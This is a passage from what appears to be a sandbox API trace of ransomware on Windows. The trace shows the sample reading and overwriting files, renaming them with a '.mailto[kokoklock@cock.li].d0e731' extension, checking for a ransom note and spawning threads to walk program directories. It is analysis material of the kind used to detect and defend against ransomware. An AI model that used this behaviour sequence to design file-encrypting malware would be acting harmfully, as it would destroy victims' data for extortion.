Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x4d1f0894 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x623902c8 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x33c0f980 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x9c3b4323 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x4323a977 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xb32c8ef3 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xdaacb1b2 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x1e62756d [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x1d6158c2 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x763bd85f [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xc3f43216 [0077.513] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.513] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.513] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd748 [0077.513] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0077.513] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d48 [0077.513] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d48) returned 1 [0077.513] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.514] ReadFile (in: hFile=0x8f8, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f9bf8ac, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f9bf8ac*=0x2000, lpOverlapped=0x0) returned 1 [0077.515] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f9bf874 | out: lpNewFilePointer=0x0) returned 1 [0077.515] WriteFile (in: hFile=0x8f8, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f9bf8a8, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f9bf8a8*=0x2000, lpOverlapped=0x0) returned 1 [0077.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492910 [0077.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d48 [0077.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d48) returned 1 [0077.515] WriteFile (in: hFile=0x8f8, lpBuffer=0x3492910*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f9bf8a4, lpOverlapped=0x0 | out: lpBuffer=0x3492910*, lpNumberOfBytesWritten=0x1f9bf8a4*=0x20, lpOverlapped=0x0) returned 1 [0077.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492910) returned 1 [0077.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0077.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd748) returned 1 [0077.515] WriteFile (in: hFile=0x8f8, lpBuffer=0x3492d20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f9bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x3492d20*, lpNumberOfBytesWritten=0x1f9bf8d0*=0x8, lpOverlapped=0x0) returned 1 [0077.515] WriteFile (in: hFile=0x8f8, lpBuffer=0x1f9bf8e8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f9bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x1f9bf8e8*, lpNumberOfBytesWritten=0x1f9bf8d0*=0x4, lpOverlapped=0x0) returned 1 [0077.515] WriteFile (in: hFile=0x8f8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f9bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f9bf8d0*=0x4, lpOverlapped=0x0) returned 1 [0077.515] WriteFile (in: hFile=0x8f8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f9bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f9bf8d0*=0x6c, lpOverlapped=0x0) returned 1 [0077.516] WriteFile (in: hFile=0x8f8, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f9bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f9bf8d0*=0x20, lpOverlapped=0x0) returned 1 [0077.516] WriteFile (in: hFile=0x8f8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f9bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f9bf8d0*=0x4, lpOverlapped=0x0) returned 1 [0077.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d20) returned 1 [0077.516] CloseHandle (hObject=0x8f8) returned 1 [0077.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34323c0 [0077.516] wcscpy (in: _Dest=0x34323c0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl" [0077.516] wcscat (in: _Dest=0x34323c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731" [0077.516] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34323c0) returned 1 [0077.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl", dwFileAttributes=0x2020) returned 0 [0077.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479b50 [0077.517] wcscpy (in: _Dest=0x3479b50, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.517] wcscat (in: _Dest=0x3479b50, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.517] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0077.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ed70) returned 1 [0077.517] RtlExitUserThread (Status=0x1) Thread: id = 858 os_tid = 0x146c [0078.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3429278 [0078.198] wcscpy (in: _Dest=0x3429278, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0078.198] wcscat (in: _Dest=0x3429278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0078.198] wcscat (in: _Dest=0x3429278, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" [0078.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5928 [0078.198] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0398 [0078.199] wcscmp (_String1=".", _String2=".") returned 0 [0078.199] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.199] wcscmp (_String1="..", _String2=".") returned 1 [0078.199] wcscmp (_String1="..", _String2="..") returned 0 [0078.199] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0078.199] wcscmp (_String1="packages", _String2=".") returned 1 [0078.199] wcscmp (_String1="packages", _String2="..") returned 1 [0078.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3431280 [0078.199] wcscpy (in: _Dest=0x3431280, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0078.199] wcscat (in: _Dest=0x3431280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0078.199] wcscat (in: _Dest=0x3431280, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0082.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0082.936] FindNextFileW (in: hFindFile=0x33e0398, lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0082.936] FindClose (in: hFindFile=0x33e0398 | out: hFindFile=0x33e0398) returned 1 [0082.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5928) returned 1 [0082.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429278) returned 1 [0082.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1040) returned 1 [0082.936] RtlExitUserThread (Status=0x0) Thread: id = 859 os_tid = 0x1470 [0078.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eacd0 [0078.200] wcscpy (in: _Dest=0x33eacd0, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0078.200] wcscat (in: _Dest=0x33eacd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0078.200] wcscat (in: _Dest=0x33eacd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" [0078.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5b90 [0078.200] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e03d8 [0078.200] wcscmp (_String1=".", _String2=".") returned 0 [0078.200] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.200] wcscmp (_String1="..", _String2=".") returned 1 [0078.200] wcscmp (_String1="..", _String2="..") returned 0 [0078.200] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x359ea6b6, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0078.200] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0078.200] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0078.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f1510 [0078.200] wcscpy (in: _Dest=0x33f1510, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0078.200] wcscat (in: _Dest=0x33f1510, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0078.200] wcscat (in: _Dest=0x33f1510, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0083.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f1510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0083.059] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0083.059] wcscmp (_String1="vcredist_x64.exe", _String2=".") returned 1 [0083.059] wcscmp (_String1="vcredist_x64.exe", _String2="..") returned 1 [0083.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x3430a40 [0083.059] wcscpy (in: _Dest=0x3430a40, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0083.059] wcscat (in: _Dest=0x3430a40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0083.059] wcscat (in: _Dest=0x3430a40, _Source="vcredist_x64.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" [0083.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0083.059] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0083.060] FindClose (in: hFindFile=0x33e03d8 | out: hFindFile=0x33e03d8) returned 1 [0083.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5b90) returned 1 [0083.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eacd0) returned 1 [0083.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bdd0) returned 1 [0083.060] RtlExitUserThread (Status=0x0) Thread: id = 860 os_tid = 0x1474 [0078.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3429330 [0078.201] wcscpy (in: _Dest=0x3429330, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0078.201] wcscat (in: _Dest=0x3429330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0078.201] wcscat (in: _Dest=0x3429330, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" [0078.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5df8 [0078.201] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0418 [0078.202] wcscmp (_String1=".", _String2=".") returned 0 [0078.202] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.202] wcscmp (_String1="..", _String2=".") returned 1 [0078.202] wcscmp (_String1="..", _String2="..") returned 0 [0078.202] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0078.202] wcscmp (_String1="packages", _String2=".") returned 1 [0078.202] wcscmp (_String1="packages", _String2="..") returned 1 [0078.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3431580 [0078.202] wcscpy (in: _Dest=0x3431580, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0078.202] wcscat (in: _Dest=0x3431580, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0078.202] wcscat (in: _Dest=0x3431580, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0083.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0083.057] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0083.057] FindClose (in: hFindFile=0x33e0418 | out: hFindFile=0x33e0418) returned 1 [0083.057] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5df8) returned 1 [0083.057] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429330) returned 1 [0083.057] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0083.057] 